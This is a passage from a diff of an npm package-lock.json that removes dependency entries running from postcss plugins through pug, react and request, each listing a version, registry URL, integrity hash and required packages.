"sha1-7sbCpntsQSqNsgQud/6NpD+VwR0=", - "dev": true, - "requires": { - "postcss": "^5.0.4", - "postcss-value-parser": "^3.0.1" - } - }, - "postcss-reduce-idents": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/postcss-reduce-idents/-/postcss-reduce-idents-2.4.0.tgz", - "integrity": "sha1-wsbSDMlYKE9qv75j92Cb9AkFmtM=", - "dev": true, - "requires": { - "postcss": "^5.0.4", - "postcss-value-parser": "^3.0.2" - } - }, - "postcss-reduce-initial": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-1.0.1.tgz", - "integrity": "sha1-aPgGlfBF0IJjqHmtJA343WT2ROo=", - "dev": true, - "requires": { - "postcss": "^5.0.4" - } - }, - "postcss-reduce-transforms": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-1.0.4.tgz", - "integrity": "sha1-/3b02CEkN7McKYpC0uFEQCV3GuE=", - "dev": true, - "requires": { - "has": "^1.0.1", - "postcss": "^5.0.8", - "postcss-value-parser": "^3.0.1" - } - }, - "postcss-selector-parser": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-2.2.3.tgz", - "integrity": "sha1-+UN3iGBsPJrO4W/+jYsWKX8nu5A=", - "dev": true, - "requires": { - "flatten": "^1.0.2", - "indexes-of": "^1.0.1", - "uniq": "^1.0.1" - } - }, - "postcss-svgo": { - "version": "2.1.6", - "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-2.1.6.tgz", - "integrity": "sha1-tt8YqmE7Zm4TPwittSGcJoSsEI0=", - "dev": true, - "requires": { - "is-svg": "^2.0.0", - "postcss": "^5.0.14", - "postcss-value-parser": "^3.2.3", - "svgo": "^0.7.0" - } - }, - "postcss-unique-selectors": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-2.0.2.tgz", - "integrity": "sha1-mB1X0p3csz57Hf4f1DuGSfkzyh0=", - "dev": true, - "requires": { - "alphanum-sort": "^1.0.1", - "postcss": "^5.0.4", - "uniqs": "^2.0.0" - } - }, - "postcss-value-parser": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.0.tgz", - "integrity": "sha1-h/OPnxj3dKSrTIojL1xc6IcqnRU=", - "dev": true - }, - "postcss-zindex": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/postcss-zindex/-/postcss-zindex-2.2.0.tgz", - "integrity": "sha1-0hCd3AVbka9n/EyzsCWUZjnSryI=", - "dev": true, - "requires": { - "has": "^1.0.1", - "postcss": "^5.0.4", - "uniqs": "^2.0.0" - } - }, - "prebuild-install": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-2.5.1.tgz", - "integrity": "sha512-3DX9L6pzwc1m1ksMkW3Ky2WLgPQUBiySOfXVl3WZyAeJSyJb4wtoH9OmeRGcubAWsMlLiL8BTHbwfm/jPQE9Ag==", - "dev": true, - "optional": true, - "requires": { - "detect-libc": "^1.0.3", - "expand-template": "^1.0.2", - "github-from-package": "0.0.0", - "minimist": "^1.2.0", - "mkdirp": "^0.5.1", - "node-abi": "^2.2.0", - "noop-logger": "^0.1.1", - "npmlog": "^4.0.1", - "os-homedir": "^1.0.1", - "pump": "^2.0.1", - "rc": "^1.1.6", - "simple-get": "^2.7.0", - "tar-fs": "^1.13.0", - "tunnel-agent": "^0.6.0", - "which-pm-runs": "^1.0.0" - }, - "dependencies": { - "detect-libc": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz", - "integrity": "sha1-+hN8S9aY7fVc1c0CrFWfkaTEups=", - "dev": true, - "optional": true - } - } - }, - "prelude-ls": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", - "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", - "dev": true - }, - "prepend-http": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-1.0.4.tgz", - "integrity": "sha1-1PRWKwzjaW5BrFLQ4ALlemNdxtw=", - "dev": true - }, - "preserve": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/preserve/-/preserve-0.2.0.tgz", - "integrity": "sha1-gV7R9uvGWSb4ZbMQwHE7yzMVzks=", - "dev": true - }, - "prettier": { - "version": "1.13.6", - "resolved": "https://registry.npmjs.org/prettier/-/prettier-1.13.6.tgz", - "integrity": "sha512-p5eqCNiohWZN++7aJXUVj0JgLqHCPLf9GLIcLBHGNWs4Y9FJOPs6+KNO2WT0udJIQJTbeZFrJkjzjcb8fkAYYQ==", - "dev": true - }, - "pretty-bytes": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-4.0.2.tgz", - "integrity": "sha1-sr+C5zUNZcbDOqlaqlpPYyf2HNk=", - "dev": true - }, - "private": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz", - "integrity": "sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg==", - "dev": true - }, - "process": { - "version": "0.11.10", - "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", - "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=", - "dev": true - }, - "process-nextick-args": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-1.0.7.tgz", - "integrity": "sha1-FQ4gt1ZZCtP5EJPyWk8q2L/zC6M=", - "dev": true - }, - "progress": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/progress/-/progress-1.1.8.tgz", - "integrity": "sha1-4mDHj2Fhzdmw5WzD4Khd4Xx6V74=", - "dev": true - }, - "promise": { - "version": "7.3.1", - "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", - "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=", - "dev": true, - "requires": { - "asap": "~2.0.3" - } - }, - "promise-inflight": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", - "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=", - "dev": true - }, - "promise-polyfill": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/promise-polyfill/-/promise-polyfill-6.1.0.tgz", - "integrity": "sha1-36lpQ+qcEh/KTem1hoyznTRy4Fc=", - "dev": true - }, - "promise-retry": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-1.1.1.tgz", - "integrity": "sha1-ZznpaOMFHaIM5kl/srUPaRHfPW0=", - "dev": true, - "requires": { - "err-code": "^1.0.0", - "retry": "^0.10.0" - } - }, - "prop-types": { - "version": "15.6.2", - "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.6.2.tgz", - "integrity": "sha512-3pboPvLiWD7dkI3qf3KbUe6hKFKa52w+AE0VCqECtf+QHAKgOL37tTaNCnuX1nAAQ4ZhyP+kYVKf8rLmJ/feDQ==", - "dev": true, - "requires": { - "loose-envify": "^1.3.1", - "object-assign": "^4.1.1" - } - }, - "proto-list": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/proto-list/-/proto-list-1.2.4.tgz", - "integrity": "sha1-IS1b/hMYMGpCD2QCuOJv85ZHqEk=", - "dev": true - }, - "prr": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", - "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", - "dev": true - }, - "pseudomap": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", - "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", - "dev": true - }, - "psl": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/psl/-/psl-1.7.0.tgz", - "integrity": "sha512-5NsSEDv8zY70ScRnOTn7bK7eanl2MvFrOrS/R6x+dBt5g1ghnj9Zv90kO8GwT8gxcu2ANyFprnFYB85IogIJOQ==", - "dev": true - }, - "public-encrypt": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/public-encrypt/-/public-encrypt-4.0.0.tgz", - "integrity": "sha1-OfaZ86RlYN1eusvKaTyvfGXBjMY=", - "dev": true, - "requires": { - "bn.js": "^4.1.0", - "browserify-rsa": "^4.0.0", - "create-hash": "^1.1.0", - "parse-asn1": "^5.0.0", - "randombytes": "^2.0.1" - } - }, - "pug": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/pug/-/pug-3.0.1.tgz", - "integrity": "sha512-9v1o2yXMfSKJy2PykKyWUhpgx9Pf9D/UlPgIs2pTTxR6DQZ0oivy4I9f8PlWXRY4sjIhDU4TMJ7hQmYnNJc2bw==", - "dev": true, - "requires": { - "pug-code-gen": "^3.0.2", - "pug-filters": "^4.0.0", - "pug-lexer": "^5.0.0", - "pug-linker": "^4.0.0", - "pug-load": "^3.0.0", - "pug-parser": "^6.0.0", - "pug-runtime": "^3.0.0", - "pug-strip-comments": "^2.0.0" - } - }, - "pug-attrs": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pug-attrs/-/pug-attrs-3.0.0.tgz", - "integrity": "sha512-azINV9dUtzPMFQktvTXciNAfAuVh/L/JCl0vtPCwvOA21uZrC08K/UnmrL+SXGEVc1FwzjW62+xw5S/uaLj6cA==", - "dev": true, - "requires": { - "constantinople": "^4.0.1", - "js-stringify": "^1.0.2", - "pug-runtime": "^3.0.0" - } - }, - "pug-code-gen": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/pug-code-gen/-/pug-code-gen-3.0.2.tgz", - "integrity": "sha512-nJMhW16MbiGRiyR4miDTQMRWDgKplnHyeLvioEJYbk1RsPI3FuA3saEP8uwnTb2nTJEKBU90NFVWJBk4OU5qyg==", - "dev": true, - "requires": { - "constantinople": "^4.0.1", - "doctypes": "^1.1.0", - "js-stringify": "^1.0.2", - "pug-attrs": "^3.0.0", - "pug-error": "^2.0.0", - "pug-runtime": "^3.0.0", - "void-elements": "^3.1.0", - "with": "^7.0.0" - } - }, - "pug-error": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pug-error/-/pug-error-2.0.0.tgz", - "integrity": "sha512-sjiUsi9M4RAGHktC1drQfCr5C5eriu24Lfbt4s+7SykztEOwVZtbFk1RRq0tzLxcMxMYTBR+zMQaG07J/btayQ==", - "dev": true - }, - "pug-filters": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/pug-filters/-/pug-filters-4.0.0.tgz", - "integrity": "sha512-yeNFtq5Yxmfz0f9z2rMXGw/8/4i1cCFecw/Q7+D0V2DdtII5UvqE12VaZ2AY7ri6o5RNXiweGH79OCq+2RQU4A==", - "dev": true, - "requires": { - "constantinople": "^4.0.1", - "jstransformer": "1.0.0", - "pug-error": "^2.0.0", - "pug-walk": "^2.0.0", - "resolve": "^1.15.1" - } - }, - "pug-lexer": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/pug-lexer/-/pug-lexer-5.0.1.tgz", - "integrity": "sha512-0I6C62+keXlZPZkOJeVam9aBLVP2EnbeDw3An+k0/QlqdwH6rv8284nko14Na7c0TtqtogfWXcRoFE4O4Ff20w==", - "dev": true, - "requires": { - "character-parser": "^2.2.0", - "is-expression": "^4.0.0", - "pug-error": "^2.0.0" - } - }, - "pug-linker": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/pug-linker/-/pug-linker-4.0.0.tgz", - "integrity": "sha512-gjD1yzp0yxbQqnzBAdlhbgoJL5qIFJw78juN1NpTLt/mfPJ5VgC4BvkoD3G23qKzJtIIXBbcCt6FioLSFLOHdw==", - "dev": true, - "requires": { - "pug-error": "^2.0.0", - "pug-walk": "^2.0.0" - } - }, - "pug-load": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pug-load/-/pug-load-3.0.0.tgz", - "integrity": "sha512-OCjTEnhLWZBvS4zni/WUMjH2YSUosnsmjGBB1An7CsKQarYSWQ0GCVyd4eQPMFJqZ8w9xgs01QdiZXKVjk92EQ==", - "dev": true, - "requires": { - "object-assign": "^4.1.1", - "pug-walk": "^2.0.0" - } - }, - "pug-parser": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/pug-parser/-/pug-parser-6.0.0.tgz", - "integrity": "sha512-ukiYM/9cH6Cml+AOl5kETtM9NR3WulyVP2y4HOU45DyMim1IeP/OOiyEWRr6qk5I5klpsBnbuHpwKmTx6WURnw==", - "dev": true, - "requires": { - "pug-error": "^2.0.0", - "token-stream": "1.0.0" - } - }, - "pug-runtime": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/pug-runtime/-/pug-runtime-3.0.1.tgz", - "integrity": "sha512-L50zbvrQ35TkpHwv0G6aLSuueDRwc/97XdY8kL3tOT0FmhgG7UypU3VztfV/LATAvmUfYi4wNxSajhSAeNN+Kg==", - "dev": true - }, - "pug-strip-comments": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pug-strip-comments/-/pug-strip-comments-2.0.0.tgz", - "integrity": "sha512-zo8DsDpH7eTkPHCXFeAk1xZXJbyoTfdPlNR0bK7rpOMuhBYb0f5qUVCO1xlsitYd3w5FQTK7zpNVKb3rZoUrrQ==", - "dev": true, - "requires": { - "pug-error": "^2.0.0" - } - }, - "pug-walk": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pug-walk/-/pug-walk-2.0.0.tgz", - "integrity": "sha512-yYELe9Q5q9IQhuvqsZNwA5hfPkMJ8u92bQLIMcsMxf/VADjNtEYptU+inlufAFYcWdHlwNfZOEnOOQrZrcyJCQ==", - "dev": true - }, - "pump": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", - "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", - "dev": true, - "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "pumpify": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz", - "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", - "dev": true, - "requires": { - "duplexify": "^3.6.0", - "inherits": "^2.0.3", - "pump": "^2.0.0" - } - }, - "punycode": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", - "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=", - "dev": true - }, - "q": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz", - "integrity": "sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=", - "dev": true - }, - "qs": { - "version": "6.5.1", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz", - "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A==", - "dev": true - }, - "query-string": { - "version": "4.3.4", - "resolved": "https://registry.npmjs.org/query-string/-/query-string-4.3.4.tgz", - "integrity": "sha1-u7aTucqRXCMlFbIosaArYJBD2+s=", - "dev": true, - "requires": { - "object-assign": "^4.1.0", - "strict-uri-encode": "^1.0.0" - } - }, - "querystring": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz", - "integrity": "sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=", - "dev": true - }, - "querystring-es3": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/querystring-es3/-/querystring-es3-0.2.1.tgz", - "integrity": "sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM=", - "dev": true - }, - "randomatic": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-3.0.0.tgz", - "integrity": "sha512-VdxFOIEY3mNO5PtSRkkle/hPJDHvQhK21oa73K4yAc9qmp6N429gAyF1gZMOTMeS0/AYzaV/2Trcef+NaIonSA==", - "dev": true, - "requires": { - "is-number": "^4.0.0", - "kind-of": "^6.0.0", - "math-random": "^1.0.1" - }, - "dependencies": { - "is-number": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-4.0.0.tgz", - "integrity": "sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==", - "dev": true - }, - "kind-of": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", - "dev": true - } - } - }, - "randombytes": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.0.5.tgz", - "integrity": "sha1-3ACaJGuNCaF3tLegrne8Vw9LG3k=", - "dev": true, - "requires": { - "safe-buffer": "^5.1.0" - } - }, - "raw-body": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-1.1.7.tgz", - "integrity": "sha1-HQJ8K/oRasxmI7yo8AAWVyqH1CU=", - "dev": true, - "requires": { - "bytes": "1", - "string_decoder": "0.10" - } - }, - "rc": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", - "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", - "dev": true, - "requires": { - "deep-extend": "^0.6.0", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" - }, - "dependencies": { - "deep-extend": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", - "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", - "dev": true - } - } - }, - "react": { - "version": "15.6.2", - "resolved": "https://registry.npmjs.org/react/-/react-15.6.2.tgz", - "integrity": "sha1-26BDSrQ5z+gvEI8PURZjkIF5qnI=", - "dev": true, - "requires": { - "create-react-class": "^15.6.0", - "fbjs": "^0.8.9", - "loose-envify": "^1.1.0", - "object-assign": "^4.1.0", - "prop-types": "^15.5.10" - } - }, - "react-native-url-polyfill": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/react-native-url-polyfill/-/react-native-url-polyfill-1.1.2.tgz", - "integrity": "sha512-RPYwjW+4udnAf26xUCQP2dn4t2tnRFo3Ii4s/hy7Ivpe7xYtXp7CMVX505CR8X3p0f8NKmOJ4MQEFMMnbd/Y/Q==", - "requires": { - "buffer": "^5.4.3", - "whatwg-url-without-unicode": "8.0.0-1" - }, - "dependencies": { - "buffer": { - "version": "5.6.0", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.6.0.tgz", - "integrity": "sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw==", - "requires": { - "base64-js": "^1.0.2", - "ieee754": "^1.1.4" - } - } - } - }, - "read-only-stream": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/read-only-stream/-/read-only-stream-2.0.0.tgz", - "integrity": "sha1-JyT9aoET1zdkrCiNQ4YnDB2/F/A=", - "dev": true, - "requires": { - "readable-stream": "^2.0.2" - } - }, - "read-pkg": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz", - "integrity": "sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=", - "dev": true, - "requires": { - "load-json-file": "^1.0.0", - "normalize-package-data": "^2.3.2", - "path-type": "^1.0.0" - } - }, - "read-pkg-up": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz", - "integrity": "sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=", - "dev": true, - "requires": { - "find-up": "^1.0.0", - "read-pkg": "^1.0.0" - } - }, - "readable-stream": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.1.tgz", - "integrity": "sha512-u6cxIvtbZcjq2HH71Zc/SRBUl7vbv62szIqmqqGpK3HY5J1c0kR/LUzKUpeoFgMzapvVAlBD+QY56ilWmHi4Nw==", - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~1.0.6", - "safe-buffer": "~5.1.0", - "string_decoder": "~1.0.0", - "util-deprecate": "~1.0.1" - }, - "dependencies": { - "string_decoder": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.2.tgz", - "integrity": "sha1-sp4fThEl+pehA4K4pTNze3SR4Xk=", - "dev": true, - "requires": { - "safe-buffer": "~5.0.1" - }, - "dependencies": { - "safe-buffer": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.0.1.tgz", - "integrity": "sha1-0mPKVGls2KMGtcplUekt5XkY++c=", - "dev": true - } - } - } - } - }, - "readdirp": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.1.0.tgz", - "integrity": "sha1-TtCtBg3zBzMAxIRANz9y0cxkLXg=", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "minimatch": "^3.0.2", - "readable-stream": "^2.0.2", - "set-immediate-shim": "^1.0.1" - } - }, - "rechoir": { - "version": "0.6.2", - "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz", - "integrity": "sha1-hSBLVNuoLVdC4oyWdW70OvUOM4Q=", - "dev": true, - "requires": { - "resolve": "^1.1.6" - } - }, - "redent": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/redent/-/redent-1.0.0.tgz", - "integrity": "sha1-z5Fqsf1fHxbfsggi3W7H9zDCr94=", - "dev": true, - "requires": { - "indent-string": "^2.1.0", - "strip-indent": "^1.0.1" - } - }, - "reduce-css-calc": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/reduce-css-calc/-/reduce-css-calc-1.3.0.tgz", - "integrity": "sha1-dHyRTgSWFKTJz7umKYca0dKSdxY=", - "dev": true, - "requires": { - "balanced-match": "^0.4.2", - "math-expression-evaluator": "^1.2.14", - "reduce-function-call": "^1.0.1" - }, - "dependencies": { - "balanced-match": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-0.4.2.tgz", - "integrity": "sha1-yz8+PHMtwPAe5wtAPzAuYddwmDg=", - "dev": true - } - } - }, - "reduce-function-call": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/reduce-function-call/-/reduce-function-call-1.0.2.tgz", - "integrity": "sha1-WiAL+S4ON3UXUv5FsKszD9S2vpk=", - "dev": true, - "requires": { - "balanced-match": "^0.4.2" - }, - "dependencies": { - "balanced-match": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-0.4.2.tgz", - "integrity": "sha1-yz8+PHMtwPAe5wtAPzAuYddwmDg=", - "dev": true - } - } - }, - "regenerate": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.0.tgz", - "integrity": "sha512-1G6jJVDWrt0rK99kBjvEtziZNCICAuvIPkSiUFIQxVP06RCVpq3dmDo2oi6ABpYaDYaTRr67BEhL8r1wgEZZKg==", - "dev": true - }, - "regenerate-unicode-properties": { - "version": "8.2.0", - "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-8.2.0.tgz", - "integrity": "sha512-F9DjY1vKLo/tPePDycuH3dn9H1OTPIkVD9Kz4LODu+F2C75mgjAJ7x/gwy6ZcSNRAAkhNlJSOHRe8k3p+K9WhA==", - "dev": true, - "requires": { - "regenerate": "^1.4.0" - } - }, - "regenerator-runtime": { - "version": "0.11.1", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", - "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==" - }, - "regenerator-transform": { - "version": "0.10.1", - "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.10.1.tgz", - "integrity": "sha512-PJepbvDbuK1xgIgnau7Y90cwaAmO/LCLMI2mPvaXq2heGMR3aWW5/BQvYrhJ8jgmQjXewXvBjzfqKcVOmhjZ6Q==", - "dev": true, - "requires": { - "babel-runtime": "^6.18.0", - "babel-types": "^6.19.0", - "private": "^0.1.6" - } - }, - "regex-cache": { - "version": "0.4.3", - "resolved": "https://registry.npmjs.org/regex-cache/-/regex-cache-0.4.3.tgz", - "integrity": "sha1-mxpsNdTQ3871cRrmUejp09cRQUU=", - "dev": true, - "requires": { - "is-equal-shallow": "^0.1.3", - "is-primitive": "^2.0.0" - } - }, - "regex-not": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz", - "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", - "dev": true, - "requires": { - "extend-shallow": "^3.0.2", - "safe-regex": "^1.1.0" - } - }, - "regexpp": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-1.1.0.tgz", - "integrity": "sha512-LOPw8FpgdQF9etWMaAfG/WRthIdXJGYp4mJ2Jgn/2lpkbod9jPn0t9UqN7AxBOKNfzRbYyVfgc7Vk4t/MpnXgw==", - "dev": true - }, - "regexpu-core": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-2.0.0.tgz", - "integrity": "sha1-SdA4g3uNz4v6W5pCE5k45uoq4kA=", - "dev": true, - "requires": { - "regenerate": "^1.2.1", - "regjsgen": "^0.2.0", - "regjsparser": "^0.1.4" - } - }, - "regjsgen": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.2.0.tgz", - "integrity": "sha1-bAFq3qxVT3WCP+N6wFuS1aTtsfc=", - "dev": true - }, - "regjsparser": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.1.5.tgz", - "integrity": "sha1-fuj4Tcb6eS0/0K4ijSS9lJ6tIFw=", - "dev": true, - "requires": { - "jsesc": "~0.5.0" - }, - "dependencies": { - "jsesc": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", - "integrity": "sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=", - "dev": true - } - } - }, - "remove-trailing-separator": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.0.2.tgz", - "integrity": "sha1-abBi2XhyetFNxrVrpKt3L9jXBRE=", - "dev": true - }, - "repeat-element": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.2.tgz", - "integrity": "sha1-7wiaF40Ug7quTZPrmLT55OEdmQo=", - "dev": true - }, - "repeat-string": { - "version": "1.6.1", - "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", - "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=", - "dev": true - }, - "repeating": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/repeating/-/repeating-2.0.1.tgz", - "integrity": "sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=", - "dev": true, - "requires": { - "is-finite": "^1.0.0" - } - }, - "request": { - "version": "2.87.0", - "resolved": "https://registry.npmjs.org/request/-/request-2.87.0.tgz", - "integrity": "sha512-fcogkm7Az5bsS6Sl0sibkbhcKsnyon/jV1kF3ajGmF0c8HrttdKTPRT9hieOaQHA5HEq6r8OyWOo/o781C1tNw==", - "dev": true, - "optional": true, - "requires": { - "aws-sign2": "~0.7.0", - "aws4": "^1.6.0", - "caseless": "~0.12.0", - "combined-stream": "~1.0.5", - "extend": "~3.0.1", - "forever-agent": "~0.6.1", - "form-data": "~2.3.1", - "har-validator": "~5.0.3", - "http-signature": "~1.2.0", - "is-typedarray": "~1.0.0", - "isstream": "~0.1.2", - "json-stringify-safe": "~5.0.1", - "mime-types": "~2.1.17", - "oauth-sign": "~0.8.2", - "performance-now": "^2.1.0", - "qs": "~6.5.1", - "safe-buffer": "^5.1.1", - "tough-cookie": "~2.3.3", - "tunnel-agent": "^0.6.0", - "uuid": "^3.1.0" - }, - "dependencies": { - "tough-cookie": { - "version": "2.3.4", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.4.tgz", - "integrity": 